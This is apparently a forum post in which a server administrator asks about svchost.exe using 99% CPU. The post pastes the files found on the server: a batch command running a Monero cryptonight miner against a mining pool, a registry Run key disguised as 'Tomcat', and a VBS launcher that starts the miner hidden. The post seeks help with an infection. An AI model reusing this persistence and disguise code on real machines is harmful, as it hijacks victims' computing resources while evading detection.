SVC Host consumming 99% CPU

Our server is constantly consuming too much CPU, with svchost.exe seems to be the culprit.

See the screenshow below:

File contents of 1.bat:

svchost -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf -p x

File contents of pubwin.reg:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"="C:\\Windows\\system\\pubwin.vbs"

File content of pubwin.vbs:

dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

Should we be worried, or is it really **Tomcat**.
